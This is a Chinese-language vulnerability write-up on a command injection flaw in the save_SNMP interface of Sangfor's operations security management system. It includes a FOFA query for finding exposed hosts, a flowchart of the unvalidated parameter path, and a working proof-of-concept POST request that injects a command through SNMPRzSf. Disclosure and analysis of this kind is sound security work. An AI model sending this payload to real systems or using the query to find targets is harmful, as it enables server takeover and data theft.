深信服运维安全管理系统 save_SNMP 远程命令执行漏洞


漏洞简介

深信服运维安全管理系统 save_SNMP 接口存在远程命令执行漏洞。攻击者可通过构造恶意的请求,利用该漏洞在目标服务器上执行任意命令,从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该漏洞版本的深信服运维安全管理系统的服务器。

影响版本

低于 3.0.12 20241106

fofa语法

body="/fort/login" && header="FORTSESSIONID"

漏洞分析

看下 com.sbr.fort.web.controller.system.snmp.SNMPController#save_SNMP的实现逻辑

代码太长,还是来个流程图,一目了然

文字版本

┌─────────────────────────────────────────────────────────────┐
│          用户发起 POST /save_SNMP 请求                        │
│  参数:SNMPedition, SNMPYhName, SNMPRzPw,                    │
│       SNMPRzSf, SNMPJmPw, SNMPJmSf, SNMPAddress等           │
└───────────────────┬─────────────────────────────────────────┘
                    │
                    ▼
        ┌───────────────────────┐
        │  获取请求参数          │
        │  - 解密部分参数        │
        │  (Decrypt)            │
        └───────────┬───────────┘
                    │
                    ▼
        ┌───────────────────────┐
        │  SNMPAddress          │
        │  长度校验 (>=130?)    │
        └───────────┬───────────┘
                    │
            ┌───────┴────────┐
            │                │
           是                否
            │                │
            ▼                ▼
       ┌────────┐    ┌──────────────────┐
       │ 返回   │    │ SNMPedition 判断  │
       │ 错误   │    │ v2 or v3?        │
       └────────┘    └────────┬─────────┘
                              │
                    ┌─────────┴─────────┐
                    │                   │
                  v2                   v3
                    │                   │
                    ▼                   ▼
        ┌──────────────────┐  ┌────────────────────┐
        │ SNMPName         │  │ SNMPYhName         │
        │ 格式校验 (TNAME) │  │ 格式校验 (TNAME)   │
        │ ✅ 有正则保护     │  │ ✅ 有正则保护       │
        └─────────┬────────┘  └──────────┬─────────┘
                  │                      │
                  ▼                      ▼
        ┌──────────────────┐  ┌────────────────────────┐
        │ SNMPAddress      │  │ SNMPsecurityLevel 判断  │
        │ IP 格式校验      │  │ - noAuthNoPriv         │
        │ ✅ 有正则保护     │  │ - authNopriv           │
        └─────────┬────────┘  │ - authPriv             │
                  │           └──────────┬─────────────┘
                  │                      │
                  │           ┌──────────┼──────────┐
                  │           │          │          │
                  │      noAuthNoPriv  authNopriv authPriv
                  │           │          │          │
                  │           ▼          ▼          ▼
                  │      ┌─────────┐ ┌───────┐ ┌───────┐
                  │      │只拼接    │ │拼接3个 │ │拼接5个 │
                  │      │YhName   │ │参数   │ │参数   │
                  │      └─────────┘ └───────┘ └───────┘
                  │                      │          │
                  ▼                      ▼          ▼
        ┌──────────────────────────────────────────────────┐
        │          构造 shell 命令字符串                     │
        │                                                   │
        │  v2: "bash ... change v2 " + SNMPName            │
        │                                                   │
        │  v3 noAuthNoPriv:                                │
        │      "bash ... change v3 noAuthNoPriv " +        │
        │       SNMPYhName                                 │
        │                                                   │
        │  v3 authNopriv:                                  │
        │      "bash ... change v3 AuthNoPriv " +          │
        │       SNMPYhName + " " +                         │
        │       SNMPRzPw + " " + ⚠️ 未验证                 │
        │       SNMPRzSf         ⚠️ 未验证                 │
        │                                                   │
        │  v3 authPriv:                                    │
        │      "bash ... change v3 AuthPriv " +            │
        │       SNMPYhName + " " +                         │
        │       SNMPRzPw + " " + ⚠️ 未验证                 │
        │       SNMPRzSf + " " + ⚠️ 未验证                 │
        │       SNMPJmPw + " " + ⚠️ 未验证                 │
        │       SNMPJmSf         ⚠️ 未验证                 │
        └─────────────────────┬────────────────────────────┘
                              │
                              ▼
                ┌──────────────────────────┐
                │  executor.exe(shell)     │
                │  ? 命令注入触发点         │
                └──────────────────────────┘
                              │
                              ▼
                ┌──────────────────────────┐
                │  操作系统执行恶意命令      │
                │  例: id > /tmp/pwned     │
                └──────────────────────────┘
  1. 起点:流程始于外部对 /save_SNMP 接口的HTTP请求。
  2. 参数获取:程序首先获取所有用户提交的参数。
  3. 核心分支 (SNMPedition):
    1. 如果 SNMPedition 为 v2,代码会进入一个相对安全的分支。它仅使用经过正则表达式 TNAME 校验的 SNMPName 参数来拼接命令,有效阻止了命令注入。
    2. 如果 SNMPedition 为 v3,则进入了包含漏洞的复杂逻辑分支。
  4. v3 漏洞路径:
    1. 在 v3 路径下,程序会先校验 SNMPYhName,这同样是安全的。
    2. 关键在于后续对 SNMPsecurityLevel 的判断:
      • 当 securityLevel 为 authNopriv 或 authPriv 时(图中红色高亮节点),程序会将多个未经任何安全校验的参数(如 SNMPRzSf, SNMPRzPw 等)直接拼接到 shell 命令字符串中。
  5. 危险调用 (Sink Point):
    1. 无论通过哪个分支,最终构造好的 shell 字符串都会被传递给 executor.exe() 方法执行。
    2. 当攻击者通过红色高亮路径,在 SNMPRzSf 等参数中注入了恶意命令(例如 MD5; id),拼接后的 shell 字符串就会包含恶意部分,最终导致任意命令执行。

漏洞复现

POC

POST /fort/system;help/SNMP/save_SNMP HTTP/1.1
Host: sangfor_osm.mrxn.net
Content-Type: application/x-www-form-urlencoded

SNMPedition=v3&SNMPsecurityLevel=authPriv&SNMPYhName=testuser&SNMPRzPw=test&SNMPJmPw=test&SNMPJmSf=AES&SNMPRzSf=MD5;RCE_POC&SNMPAddress=127.0.0.1

访问命令执行结果文件

成功执行 id 命令并回显命令执行结果。


手机扫码阅读

深信服运维安全管理系统 csspost/update 远程命令执行漏洞

深信服运维安全管理系统 getLdap 远程命令执行漏洞

评 论